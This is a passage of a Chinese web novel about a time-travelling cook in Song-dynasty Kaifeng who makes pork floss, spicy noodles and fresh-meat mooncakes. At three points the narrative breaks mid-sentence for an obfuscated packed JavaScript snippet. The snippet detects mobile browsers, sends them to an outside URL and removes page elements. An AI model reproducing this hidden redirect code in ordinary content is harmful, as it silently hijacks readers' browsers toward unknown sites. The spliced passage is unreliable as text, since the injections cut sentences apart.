“娘，你也没给我机会说啊。我刚要开口解释，你这笤帚就挨我屁股了，我只能跑了不是。”江风委屈极了，低头看着江知味手里拎的大块猪肉，眼圈都红了。 凌花的气顿时消了大半，把笤帚往水井边上一扔：“这次就算了，下次要再给我发现。” “没下次了。”江风扑通一声又跪下了，“娘，我向你保证。往后我指定好好读书，再不让您和爹操心了。” 这事本该这么结束了。但家里鸡飞狗跳闹的动静太大，惹得墙外看热闹的邻居纷纷探出头来。 “没事吧花儿婶？”是容双的声音。 凌花有些尴尬：“没事，好着呢。都散了啊。” 她说着，走到院门外，把正朝这边走的周婶和冯四娘都推了回去：“走走走，甭来看笑话。” 江知味抓紧了这个机会：“周婶、冯嫂子、双儿，我一会儿要做肉松，晚些时候大家都来分点吃吧。” 刚被推搡开的周婶连忙冲她这头使了个眼色：“啊哟，又有得吃了。好嘞，我们晚点再来啊。”又睨了眼凌花：“一把年纪了，还和二十年前一样咋呼呢。” 凌花也翻了个白眼回去：“得了，有的吃还堵不上你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196400|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的嘴。嗳，我可要去看看，知姐儿说的这肉松，到底长的什么样。” 江知味已经把猪肉上的脂膜剃去，借井水涮洗干净了。 顺着肉纤维的走向，切出拇指长的肉块。此时冷水下锅，添葱、姜、盐后焯出血沫子，另起一锅新水，焖煮个三刻钟，煮得满屋子都是丝丝缕缕的肉香，便将这猪肉煮得又透又软了。 煮好的猪肉用纱布包着，这时便操起擀面杖，像洗衣裳似的一棍一棍把肉块捶散。之后倒在碗中，将其撕成更为细小的肉条，到这一步，便有肉松的雏形了。 炒肉松的过程最是考验耐心。下入调料后，要小火、慢炒，一手执一根筷子，不断重复那一撩动肉条的机械化动作。 一刻钟后，能见着锅里的肉条起了细小的肉绒。之后那肉绒好比有了生命一般，不断地失水、膨胀，直到所有的水分都被炒干，肉松也成了云霞似的轻飘飘的一大团。 拿在手里，酥酥软软一吹即散，便是炒的火候够了。 炒好的肉松，抖松了放在竹簸箕里放凉。风一来，整个儿肉香扑鼻。 江知味随手捻了一团还热乎的尝尝。 肉松口感干脆，初入口时还能觉察到猪肉本身的纤维感。但与口中的津液一相触，都不需要拿舌尖去抿，便在口里化开了。 往两小只的嘴里也塞了点。一个个吃得猛点脑袋，奶声奶气地连连夸赞。 “好吃，二姐姐好牛啊，肉松好香。” 江知味失笑，摸了摸江晓脑门上的小髻子：“哪里学来的混话。” “二姐姐，我可以拿一点，去分二丫和虎妞吃吗？”江暖指着凳子上放的肉松，踮起脚看了又看。 “可以，自然可以。不过最好再等一会儿。等肉松彻底放凉了，口感会更好。” 两小只就蹲在竹簸箕旁，两手托着腮帮子，像等待放饭的小鸡崽那样，一遍一遍抬头看个不停。终于等到江知味一声令下：“可以吃了。” 都“哇”地一下站起身来，抓起肉松就往衣兜里塞。 江知味目送着他们跑得没影，心想着那便也不用去喊婶子们过来了。毕竟这两小只的嗓门又尖又大，等一会儿小崽子们碰了头，那欢呼声能让整条巷子的人都晓得他们家做了肉松。 她把余下的肉松，装了许多到陶罐子里，用擀面杖捅了捅，压得严严实实，亲手交到了江风手中。 还不忘嘱咐：“风哥儿，要多分同窗吃知道吗。吃完了下回还有，二姐姐每回都给你带不一样的零嘴。” “二姐姐对我最好了。我替郑书和李学先谢谢姐姐，要是他们知道了我二姐姐这般会做吃食，可不晓得要多羡慕呢。” 说着，他抓了一把肉松塞到嘴里，眼眸子瞬间亮了三分：“这肉松瞧起来像棉花似的，我原以为是丝丝软软的口感呢，没想到吃着比刚出锅的郑家油饼还要酥脆。二姐姐，太好吃了，我都舍不得分给别人吃了。” 江知味笑着弹了他一个脑瓜崩，帮他把行李背好。少年人的肩背挺拔，大包小包怎么也压不垮塌。 笑着目送他离开后，果然没过多久，在孩子们的吆喝声中，邻家婶子们都捧着碗啊罐地来了。 江知味挨个给他们分了些，左右看看，这整条街的东西南北街坊都快来齐了，独独缺了她家对门的那一家子。 江家院门敞开着，她从人群中探头看去。 那户人家一如往常那般大门紧闭。但平日里，那里头时常传来妇人骂人、摔碗的诡异动静，显然有人居住，却从不和街邻来往。 江知味正纳闷，袖口被一个晒得黑黢黢的小女孩拽住了。她眼中星星点点，闪烁的满是对肉松的渴望，抿了抿唇，又咽了口口水，轻声道：“江家姐姐，可以也分我一口肉松吃吗？” 21. 微辣索饼 江知味仔细瞧瞧，这娃娃脸生啊，此前从未见过，也不知是从哪儿跑来的。 除了黑瘦了些，看着怪叫人心疼的，模样倒是生得不差。下巴尖尖的，圆溜溜的眼睛大葡萄似的，在日光下看着乌黑又水灵。 眼下这双大眼睛眨巴了又眨巴，就等着她发话呢。 江知味刚要开口，就见周婶凑近来，拢了一只手到她的耳后:“哎哟我的乖乖，这是你对门孙五娘家的二女儿，萄姐儿。是个可怜见的，给吧给吧。” 江知味本就打算投喂萄姐儿，喂哪家的孩子不是喂。再说她拢共就买了三斤肉，本也没打算给自家剩多少，便同萄姐儿道：“想吃多少自个儿抓吧。” 孙萄猛点了两下头。 但见她踮起脚，小心翼翼地抓了小小一把肉松护在手心里。吃得亦是谨慎非常，每回都只透过指缝，拉出一点点肉松来，含在口中，品了又品，这才百般不舍地咽下。 一旁周婶眼里满是心疼，忙把手上装了肉松的碗给她递去：“喏，萄姐儿，你大口吃。吃完了婶子这里还有。看你瘦的，嗳。” 孙萄福了福身，咧嘴笑得灿烂：“谢谢周家阿婶。不用了，我拿的这些够吃了。” 周婶便不强求，只把手中的木碗搁在孙萄能够着的矮凳上。之后手一伸，拽着江知味的衣袖把她带到一旁：“你还没见过对门那孙五娘吧？” “没有。”江知味面露疑色，“阿婶，这是怎么一回事啊？” 周婶缓缓道：“你不知道。孙五娘家的男人，几年前得了一场怪病，没多久腿一蹬眼一闭，就丢下他们母子三人走了。孤儿寡母的，本来就够苦了。结果有一天，她家大儿子孙鹰一个人跑出去玩，之后就再没回来过。我们当时都帮忙找了啊，也报官了，就是找不到。只听官府的人说，那段时间有人拐子，专门拐这种半大的孩子。” “后来孙五娘就变得疯疯癫癫，也不和我们这些邻居来往了。疯起来呢，每日把自个儿和萄姐儿关在家里。不疯的时候还好，还能做点针线活贴补家用。就是可怜了萄姐儿，小小年纪，没吃几口饧，净跟着她娘吃苦了。” 江知味听得心里复杂极了，望着蹲在地上、一个人默默吃肉松的萄姐儿。心说“厄运专挑苦命人”，但这么轻飘飘的一句话，真能代表她经历的全部吗。 周婶轻叹了口气：“知姐儿，等萄姐儿吃完，就叫她早些回去吧。要不然被孙五娘发现，发起疯来能把你家屋瓦给掀了。” 江知味点了点头，送走了周婶。可刚一回头，就发现孙萄不见了。 才听说了人拐子的事，她相当怵头，拔腿就往门外跑。一抬眼，瞄见自家院墙上吊着个黑黢黢的脑袋，还有一双黑乎乎的小手冲她使劲儿地挥：“江家姐姐，我在这儿，看看这儿。” 江知味循声而去，看得呆怔住了。 这院墙是黄泥夯的，目测有六尺高。怎么说也在一米八以上，还光溜溜的没个踩脚的地儿，这小毛头是怎么爬上去的。 怕招惹到对门的孙五娘，江知味没敢放声喊，只冲她扇了扇手：“小心些，快回去吧。” 孙萄点点头，嗖的一下从墙头消失了。 江知味追出去看，这孩子已经跑得没影了。而对面那扇木门依旧紧紧阖着，静静地看着悄然发生、又不着痕迹消散的一切。 江知味笑了下，嘿，真是奇了。 * 临近中秋，月亮又比前日里丰腴了许多。 江知味的摊子前，一如往常那般人头攒动、挤挤挨挨。 那些食客自觉地分成了两拨站着。一拨是等着参加爆辣火焰索饼挑战赛的，一拨则是散买散吃，主要冲着微辣火焰索饼、米线糊和浇汁豆腐来的。 昨日江知味怕一边操持挑战赛一边炸豆腐会忙不过来，便暂且把浇汁豆腐撤了下去。 没想到晚些时候来了好多客人，都是点名了想吃浇汁豆腐的。听说她没上豆腐，还好一阵扼腕叹息呢。 反正她昨日并非忙得脚不沾地，今日索性让浇汁豆腐返了场。为保险起见，带上了两小只，让他俩在客人最多的时候，帮忙看着计时用的沙漏，省得被人浑水摸鱼了去。 当然，也不只是让他俩当“童工”。 江知味给他俩一人盛了碗微辣索饼。两小只一面干正事，一面站在摊子侧边吭哧吭哧吃得起劲。 那微辣索饼，也就是校园小摊改良过的火鸡面，在后世就深受半大孩童的喜爱。 家中调料不多，不像后世那样，有现成的火鸡面酱、甜辣酱用。她便用葱头熬了一份熟葱油，佐以茱萸粉、五香粉、酱油和盐、糖，又添了些红曲粉为酱汁增色。 索饼都是手工拉的。拉到粗细均匀，用筷子压出卷褶，上锅蒸熟、定型后，与那调好的酱汁匀匀地拌在一块。 这样做出的索饼，不仅有后世泡面的纹理，口感还比较干爽，久放不坨。过个两个时辰再吃，还是一样的爽滑筋道。而且辣度正好，无论大孩子小孩子吃都很合适。 盛出来的索饼上，铺几根黄瓜丝、胡萝卜条，再叠半颗水煮蛋、撒丁点熟芝麻上去，瞬时颜色就丰富了，看着也更叫人垂涎了。 两小只轻易被索饼俘虏，吃得诱人得不行。在摊子边上，就跟现成的吃播似的。往那儿一站，许多和爹娘一道逛夜市的孩子瞧见了就走不动道。 江暖跟前就站着个后脑勺剃得溜光、只在额前留了一小撮头发的小男孩。看着她吸溜索饼的畅快样，眼睛直楞，前襟都被流下的涎水浸透了。 被他盯得不好意思，江暖停下嘴，打量了他身后站着的夫妇一眼：“阿叔阿婶，给弟弟买碗索饼吃吧。我二姐姐亲手做的，可香可好吃了。” 那妇人见这丫头和自家娃娃差不多大，不仅模样生得可爱，还这么能说会道，顿时欢喜极了：“好好好，小丫头还挺能耐，官人快去排队，我在这儿逗逗孩子。” 她身侧的男人“嗳嗳”应好，去排队前，还不忘掐了一把江暖脸上的软肉：“哎哟，真讨喜。我就说家里得再添个闺女，我这心啊，都快被这女娃娃的嗓音给甜化了。” 江暖冲他笑了下，猛地意识到自己分神了，赶紧把目光移到了沙漏上，吁地喘出一口气来：“还好还好。” 身旁那妇人还想同她交谈，江暖面容冷肃、义正词严道：“阿婶，我还得帮我姐姐看沙漏。挣钱要紧，就先不和你说话了。” 妇人被她逗笑了：“好好好，真是人小鬼大。那我安心挣钱，我不打扰你就是。” 说罢，看了眼自家那只会流口水的痴儿，顿时有些无奈：“回去又得换洗衣裳了，果然还是香香糯糯的闺女好。” 没过多久，那男人捧了两碗索饼回来了：“我瞧那索饼，红澄澄油汪汪的实在是太馋人了，关键一碗才五文钱。那小娘子说一晚上就卖一桶，吃完了还想要得重新排队，我怕卖完了，索性多买了些。娘子尝尝，味道如何？” 他脚边，那男童已经踮着脚在蹦了：“爹爹我要。” “等等啊，等你娘吃完，我再来喂你。”男人头都没低，只满眼恳切，径直把盛满索饼的陶碗，递给了身边的妇人。 男童瘪了下嘴，泪水在眼眶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205636|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中打转。又无可奈何，只能安静站着。 那妇人却喜不自胜，小心接过盛得冒尖的索饼，举起筷子，耐心地拌了又拌。 碗中的索饼根根分明，挑起来后，裹满了鲜红的酱汁。一口下去，虽触感微凉，却很快涌上一股独特的辣意，分毫不呛人、不辣嗓，与那交织的甜味一起，将舌头暖暖地包裹。 她被惊艳到了，夹起半块鸡蛋，蘸了点儿碗壁上挂的酱汁。 妇人曾以为，水煮蛋本身没什么味道，其风味完全取决于这拌索饼的酱汁。没想到咬了一口下去，却惊讶地抬起头来。 这鸡蛋分明是煮蛋的外形，蛋白却带着蒸蛋似的嫩滑口感。里头的鸡蛋黄亦是潮湿、软绵，像蒙了层微甜的水雾，呲溜一下就顺着舌头滑到了内膛。 妇人情不自禁地加快了进食的速度。身侧的男人见她一副要把舌头吞下去的模样，就知道这碗索饼，定是一等一的好吃。 难怪摊子前排队的人这么多。手里就剩一碗了，这要是再折回去排队，能不能排上还真难说。 他低头看了眼身旁站着的小娃娃，高举陶碗，不让手臂被他抓去，另摆出一副惋惜之态：“哎，宝哥儿，爹爹忘记跟你说了。这索饼是辣的。你吃不了辣，剩下的这碗，还是给爹爹吃吧。” 宝哥儿气得鼻子都皱了，哇地一下张大嘴，哭得那叫一个伤心。 这样类似的事情，一晚上在摊子前发生了不下五桩。但今日的江知味，的确没有闲暇再如过去那样四处探看，亦或是吃瓜、喝茶了。 她这一晚忙得跟八爪鱼似的，头一回体会到收钱收到手抽筋的感觉。 因爆辣火焰索饼多添了那两勺她自制的芥子辣，一晚上挑战成功的也就寥寥数人。与微辣索饼相比，每份就多了一文的进账。 别看只小小一文，积少成多，不用数都知道，今晚的营收指定奔着一贯五去了。 江知味好几次收着收着，就忍不住笑出声来。食客还纷纷道这摊主小娘子是个爱笑之人，没人想到，她笑在挣得盆满钵满，笑她那个在钱山上打滚的美梦，好像有望实现了呢。 她喜滋滋地把盛索饼的空桶收了，正打算叫两小只回家睡去，就见到了昨夜里见过的那个疯驴郎君。 倒不是她爱给人起绰号，只是这人的出场方式太特殊了。关键长得还挺特别，这种又帅又丧的特殊气质，很容易让人记忆深刻、过目不忘。 今日他没骑驴子，是和那位矮他两个头的肉脸书僮步行来的。还是如昨日那般，打发了书僮排队，自个儿仙气飘飘、衣不染尘地站在人群外，一脸深沉地朝江知味这头看来。 江知味被看得怵头，权当没认出他，摆出一副标准笑脸，笑眯眯地将目光转向书僮：“客人想吃点什么？” 把她身前的三样东西都指了一遍，连池掏出个钱袋来：“小娘子，三样各来两份。都是一份要辣，一份不要。” 江知味飞快地帮他把吃食盛好，又往那疯驴郎君身上一瞟：“六个碗你怕是拿不过来吧？要不然喊你家郎君进来帮忙？” “不用。”连池伸出右臂，将六个碗稳稳当当地搁在上头，“我从前在食店里做传菜，最多的那会儿，要在胳膊上摞二十个碗嘞。只六个而已，不算什么。” 后半截话出口，才让江知味收起一脸惊恐。 她目送书僮向人群外走。目之所及，没见着疯驴郎君的人影。再一看，那郎君还在原处站着，只是身量莫名矮下去了一截。 仔细一瞅，江暖不知什么时候跑到了他脚边。他正半蹲下身，与江暖这小毛头说话呢。 22. 鲜肉月饼 令江知味颇感意外的是，江暖竟和这位奇奇怪怪的疯驴郎君聊得眉飞色舞。 一个粉雕玉琢的小小人儿，就那么腰杆笔直地站在那儿。双眼目不斜视地望进对方的眸子，高举着短肥的一双手，上下舞动，一个劲儿地比划着什么。 然后那疯驴郎君温柔地期身下去，时不时浅浅一笑，间或搭上两句话，还伸出手，摸了摸江暖额头上两排八个小馒头似的的小发髻。 那小书僮风风火火地到他身边时，他也没全然直起身，只偏过头，随手接过了六个碗的其中一个。 江暖指了指他手里的陶碗，小鸡啄米似的直点头，面上满是骄傲得意。江知味不用看她嘴型，就知道她又在帮忙推销。 刚打算笑，江知味突觉小腿上被什么东西磕了一下。低头看去，竟是江晓。这孩子困得发懵，起先就站得歪歪斜斜，这会子摔倒了，一脑袋栽在她的腿肚上，“哎哟”一声响。 江知味心想，耽搁孩子睡觉会影响长高，便朝江暖的方向嚎了一嗓子：“暖姐儿，该回去了。” 便见江暖同那疯驴郎君热情地挥了挥手，又两手叉腰，十分骄傲地续着说了两句什么，之后一蹦一跳地回来了。 她也恰好与那起身的郎君四目相对。这回不好再把视线移开，就略一福身，冲他点了点头，算是招呼过了。 江暖小白兔似的，一蹦一跳来到她跟前，扬起肉乎乎的小脑袋：“二姐姐，你也认识那个阿叔吗？” “也？”江知味不明白她的意思。 “是啊。”江暖蹲下身，顺手将地上睡得歪歪斜斜的江晓拽起来，“二姐姐，不瞒你说，我就是觉得他看着很眼熟，所以才过去和他说说话的。” 被江暖这一提点，江知味凝眸，思忖了片刻。是错觉么，方才那一抬眼看去，恍然间她竟也觉得有些许的眼熟。就好像此前，在哪儿见过这位疯驴郎君似的。 有点打脸，先前还说帅哥都走下水道呢。 可究竟在哪儿见过，她苦相冥想，想不出个所以然来。再问江暖，亦是把头摇得跟拨浪鼓似的。 “那个阿叔什么都不同我说。我夸他模样好，他说‘你也是’。我说他衣裳好看，他说‘你的也不错’。那我就说了，我家之前养了一头驴子有那么那么大，他说他家的驴子光鼻孔就有我比划的那么大了。” 江知味忍俊不禁：“还有呢？光说这些没营养的，就没说点旁的了?” 江暖想了想：“我走前，同他说，二姐姐做的浇汁豆腐特别好吃，横桥子夜市上的客人，都很喜欢吃浇汁豆腐。他就尝了一小口，然后笑了，说‘我也觉得甚妙’。” 这种褒奖江知味自摆摊以来听过不下百遍，没觉得有何玄妙。只一心想着，这位疯驴郎君在这么社牛的孩子面前都如此寡言少语，果然是位不好相与之人。 她不再过问其他，只轻抚了两下江暖的后脑：“好了，时候不早了，你俩先回去睡觉吧。我把最后的浇汁豆腐卖完，也打算走了。” 江暖打了个哈欠，伸手拍拍江晓的屁股：“嗳，晓哥儿醒醒，家去了。” 两小只摇摇晃晃，互相搀扶着离开了。 * 很快到了中秋前一日。 出门采购前，江知味针对这阵子的收支，做了一趟详细的盘点。盘点结果就是，她是个合格的厨子，却不是个合格的会计。 九年义务教育期间就文理偏科严重的江知味，见着满布包的铜板，高兴是高兴，却也只剩下高兴了。 高兴之后更多的是对于算账的一筹不展。 在后世怎么说还有计算器和excel呢，况且知味楼那么大的连锁餐饮，有专门的财务专员，还有外婆这个“老谋深算”的把关，完全不用她自个儿操心财务方面的问题，只需专心钻研厨艺就够了。 可倒退回千年前，面对怎么都研究不透、只能噼里啪啦听个响的算盘，江知味简直两眼一抹黑。 后来还是凌花这个做娘的，挺身而出帮她算了账。也只能毛估估个数，用凌花的话来说就是：“以往都是你爹算的账，这些我也闹不明白啊。” 江知味没法追问这几个月豆腐铺子是怎么经营下去的，毕竟她这个同样算不明白账的，不也把小食摊开得热火朝天么。 两人就这么稀里糊涂地算好了小食摊十日来的净利。抛开添锅子、炉灶、各类食材的大头开销，小食摊从起步开始稳扎稳打，至今竟有了七贯的净收入，而且大多都是这两日攒的。 自从爆辣火焰索饼挑战开始后，不仅给摊子吸引了不少客流，还将整夜的净利推到了一贯二百文左右。 这比江知味昨夜里估算的一贯五营收多多了，毕竟餐饮业的净利基本在百分之五十以上。如此倒推回去，昨夜的营收，应当超出了两贯钱一大截。 她就在这种赚了好多好多钱的喜悦中，与凌花上街去了。 今日要采买的东西不少，大多和接下来要做的月饼相关。 在江知味的观念里，中秋节就得吃月饼。 无论是广式咸蛋黄莲蓉月饼、还是她家乡的传统芝麻大饼，亦或是这几年涨价涨到离谱的榴莲冰皮月饼、奶黄流心月饼，都是她的心头好。 但据她了解，彼时的汴京人氏并没有中秋吃月饼的习俗。要想吃上一口曾经的团圆味，就只能自己动手了。 刚到马行街那会儿，看着琳琅满目的沿街商铺，江知味是计划着买一个便携烤炉的。但与凌花逛了几家陶器铺子，都没相中合适的。 宋时的烤炉大多圆底、敞口，上头架铁网，里头烧柴或是烧炭，与后世的烧烤架十分相像。像街边卖的旋炙猪皮肉、炙大骨，还有猪胰胡饼等，都是用这种烤炉烤出来的。 但江知味想买一个不仅可以烤饼，还能拿来烤饼干、面包、蛋挞甚至烤蛋糕的。这样的炉子需得像后世的烤箱那样上下环风，如此才相对好控制火候。 她们将马行街四周逛了个遍，都没有见到类似的烤炉，更因没人见过，无处定制。倒是偶然碰上了早前给她家修屋顶的泥瓦匠胡六，说是可以在她家院子里垒一个土窑。 先以黄泥糊出一个能将烤物包裹在内的厚壳子，留个足够宽敞的大门，再在泥壳子顶上挖两个风孔。用的时候，把土窑烧得滚热，然后熄了火，把烤物放进去，找一块木板子将大门遮上。 那热气打窑底起，再从顶上出风，很自然地便流通了起来，可不就是江知味想要的上下环风么。 江知味当场就拍板定下了，与胡六约定了明日午后来家垒土窑。 只是如此一来，怕是赶不上中秋夜做月饼了。虽然垒土窑只需要小半天时间，但要等这土窑垒好后风干，还需要□□日。 广式月饼是烤不成了，家乡的芝麻大饼也有点悬，最保险的就是退而求其次，改做能用铁锅煎出来的——鲜肉月饼。 鲜肉月饼在后世江南一带一度很流行，那神奇的咸甜口味，巧妙地俘获了男女老少的心。 但江知味从小吃甜月饼长大，渐渐地养出了习惯，第一回吃鲜肉月饼的时候，还颇觉不适应。 这种不适应与她吃鲜肉汤圆、咸豆浆时的感觉如出一辙。大约骨子里藏了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214936|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念头，总觉得这些糕点类或是糯叽叽的吃食，理应与大量的砂糖为伍。甜嘛，就得甜的纯粹。 而那家鲜肉月饼不同，咸不到位，甜也不够，像在隔靴搔痒，吃不到人的心坎里。 第二回鼓起勇气换了家店尝试，味道终于够了，还挺浓重，还让她莫名体会到了这种咸甜并重的上头。原来问题并不出在鲜肉月饼身上，而在于那个做月饼的人。 想着想着，江知味有些手痒了。 她买了猪五花肉、麦芽糖、葱、姜等做月饼会用到的食材，添了些家里没有的花椒，以备不时之需。 又见街边果子行这几日多了许多新鲜水果，那店家还热情地同她介绍，都是应季刚上的。她便挑了几个价钱不那么贵、却十分水灵的梨子，在袖口上搓了搓灰，惬意地边走边吃。 至于街边小贩卖的那螯蟹，就是螃蟹，也是刚上市的，吆喝得震天响，着实吸引人。 要知道，秋天的螃蟹肉肥、膏满，无论是清蒸蘸酱油醋，还是做香辣蟹、肉蟹煲，再或是做成宋朝的名菜——蟹酿橙、洗手蟹，都是一件相当美的事。 然而价钱可怖，江知味饶有兴致地问了，拉下脸，扭头就走。 一只要一贯钱呐。吃不起，打扰了。 到家时正好正午。 两小只从周婶的杂货铺跑回来，一人手里举着一根周婶给的饧，在江知味边上跟前跟后。 很快容双也从院门进来，见江知味洗肉呢，就晓得今日又有好吃的。招了招手，把两小只叫来在怀里搂着，左亲一口，右亲一口，好似怎么都亲不够。 江知味一做起吃食来就挺专注的，没顾上他们，自个儿进灶房剁肉馅去了。 鲜肉月饼要选三肥七瘦的猪前腿肉，细切粗斩成石榴子儿大小。这样剁出来的肉馅儿不仅颗粒感十足，还软嫩吸汁。 加入盐、糖、少量酱油和她自个儿拿米酒焙的老火黄酒，使劲儿地搅拌均匀，再添一把淀粉，直到淀粉的颗粒与肉馅充分融合，继而下入小葱、香油、鸡蛋液，充分地抓拌上劲，搓成一颗颗蛋黄大的肉球。 原本还该添一味榨菜的。但宋时还没产出后世吃的斜桥榨菜，虽有其他盐渍做法的瓜果，但放下去总归影响口感。不如做个减法，省得口味混杂。 另做月饼的皮子。开水中下猪油和麦芽糖，迅速地搅化后，待其稍稍冷却加入面粉，揉成团后醒发个两刻钟，就出了那水油面。 还想月饼能层层起酥，便得将猪油与成倍的面粉混合，细揉慢搓，借手上的温度将其搓至软和做个油酥出来，再像捏包子似的和那水油面包至一处。 之后反复擀卷两次，直到那油酥与面皮相融成了饺子皮似的软软一片，将肉馅儿包进去，轻扯、慢抚，再用手压个扁，确保那皮子上没纹没裂，便能上锅煎了。 铁锅煎饼那可是江知味的绝活。 这阵子她比先前更有力气了。她将包好的十个小月饼都放进锅里，活像个钢铁战士那般，举着硕大的铁锅来回滚动、替月饼翻面。 外头容双还以为她在练铁砂掌，兴致勃勃地带着两小只过来看。震惊的同时，那肉香、葱香、猪油香经热锅一烤，幽幽地往她的鼻子里钻。 她深深地吸了口气，抬眼看锅里，饼子的表面煎出了油亮的琥珀色，侧边还奶白的地方起了将落未落的酥皮。随着江知味抬手翻动，那酥皮被磕掉了薄薄一片，与旁的饼子相触，发出呲啦呲啦的声响。 容双口中顿时津液翻涌。 她难以克制地咽了口唾沫。这色香俱全的饼子，到底该有多好吃啊！ 23. 冰糖烤梨 出锅的月饼懒散地趴在盘子中，一个个冒着滚烫的热气，叫一旁围着的三个好吃嘴干看着没敢立马下手。 凌花刚从蔡河边洗完衣裳回来，老远就闻见一阵浓郁的肉香。 要知道这个时辰家家户户吃午食的多了去了，那鱼肉菜蔬酱酢茶的味道飘得满巷子都是。偏她动了两下鼻子，一眯眼，就晓得这香味是打知姐儿手下来的。 她加快了脚步。果然离家越近，那香味便越浓。才打开院门呢，忽地一阵风来，那香到能淹死人的油脂香气哗地一下撞了她满脸。 凌花险些走不动道了：“知姐儿，做什么呢这么香？” “娘，是鲜肉月饼。” 凌花三两下将盆里的衣裳抖搂了挂起，又抓了两下衣摆，将手上的水渍擦干，边说边往桌边走：“这就是你说的应天府的中秋吃食啊，我瞅瞅。哟这一个个圆鼓鼓大胖小子似的，还怪喜人的。” 这会子江知味正用筷子沾了红曲水，在月饼上头写写画画。 鲜肉月饼嘛，有上头的红戳才有那味儿，要不然就是烤酥皮包子了，总让人觉得少了点儿节日气息。 她先写了个“福字”，又给这福字的周围加了几片橄榄叶，一个便画完了。另外的那些，她画了梅花、菊花，还画了一个简笔老虎头，另有一棵大玉米。 玉米自明朝中期才引进国内，这时候的宋朝人还没见过玉米呢。 江知味画完才想起来，好在她除了那个“福”字写得端正，其他每个都画得挺抽象。她要不说，压根没人瞧得出她画的是什么，自然没人问起这中间一根棍底下两片叶的究竟是何物。 还剩下四个月饼没画。 两小只已经等不及想吃了。别看饼皮子摸着已经没那么热，一口咬下去，里头的肉汁爆出来，保准给人烫得口舌生疮。 她把筷子递给了他俩：“把剩下的月饼画完，差不多就可以开动了。” 学着她家姐姐的模样，江暖拿筷子在水里蘸了蘸。在饼面上画了一个小圆，还把里头的空白，都用红曲水填满了。 “这是太阳？”江知味摸着下巴辨识了一番，“要么是咸鸭蛋黄？筷子戳下去，吱一下冒出红油的那种？” “是孛萄。” 孛萄就是葡萄，这会子应季正上市呢。江知味今早逛果子行就看见了。果实不大饱满，价钱却忒贵。她只瞄了一眼，没敢多瞅：“暖姐儿想吃孛萄了？” 江暖摇摇头：“早上娘和二姐姐不在，我在墙上看见对门的小孛萄了。” 意识到她口中的“小孛萄”就是孙五娘家的孙萄，江知味不禁皱了眉头。原来这俩小丫头互相认识啊，先前还以为她们没玩到一块呢。扭头看了凌花一眼，也是同样的忧心忡忡。 她便问了：“你们说什么了啊？” “小孛萄说她饿了，问我有没有吃的。”江暖指着那块月饼，“之前二丫和虎妞都给过她东西吃。二姐姐，一会儿我们把这个月饼给她吧，这样她就不会挨饿了。” 说完，江暖看向凌花：“娘，可以吗？” “可以，不过你别去，娘帮你送去就是。先前那孙五娘发起疯来，把你爹的手都挠穿了，你这么大点的小娃娃过去，娘不放心。” 江知味算是明白了。怪不得先前从来没听凌花提起过孙五娘，原来两家之间还有这种旧怨。换作是她，为了自家孩子着想，也会想着与她们割裂得远远的。 只可惜那孙萄…… “不如我去吧。”江知味道，“娘，我力气大。一会儿我带着锅去，万一孙五娘突然不正常，我把铁锅扣她头上就是。” 凌花哭笑不得：“你这说的什么混账话。行吧，你当心点，要能从墙头把人小孛萄叫下来那是最好。这孩子成日不走寻常路的，我都碰上好几回了。” 江知味点头。 话说到这儿，此前烫得厉害的鲜肉月饼，已经放凉到可以吃了。 江知味把那两个画了孛萄图案的月饼挪到一边，转拿起了她画的那个“玉米”鲜肉月饼。 张嘴咬下，月饼皮子酥中带脆、粉中带韧。因在油锅里煎过，表面的那层焦皮比烤出来的更加厚实，破开来还能听见咔滋一声响。 酥皮不受控制地往地上掉，围聚在一起的五人，同时做出了伸手接取的动作。那场面滑稽极了，惹得几人齐齐笑出了声。 落在掌心的酥皮，被容双塞回嘴里。果然如她所想，闻着就咸香非常的月饼，吃起来更是口味一绝。 那饼皮咸中带甜，却两不相冲，吃得她满口焦香。随着唇齿的挤压，饱满的肉汁瞬时从唇角边溢出。 她随手抹了抹，继续咀嚼下去。有大块大块的肉粒裹挟在其中，叫这肉馅变得既柔嫩又弹牙。能觉出里头的猪油味十分浓重，但有葱香味的巧妙制衡，吃着油而不腻、回味无穷。 容双吃完了一个、两个，再要吃第三个时，蓦地停了下来。 左右看看，孩子们正大快朵颐。那小肉包江晓还埋在了虎口上嗦起了手，想来是月饼中的肉汁油水太过丰厚，顺着他的手指徐徐地往下流。 怕孩子们不够，容双只满脸慈爱地看着，没再拿月饼吃了。 她心想着，要是腹中的孩儿也能像这俩龙凤胎似的活泼、健康，能大口吃饭，她这个做娘的就心满意足了。 吃完月饼、送走容双，又打发了两小只去江大那屋午睡，江知味的另一项任务开始了。 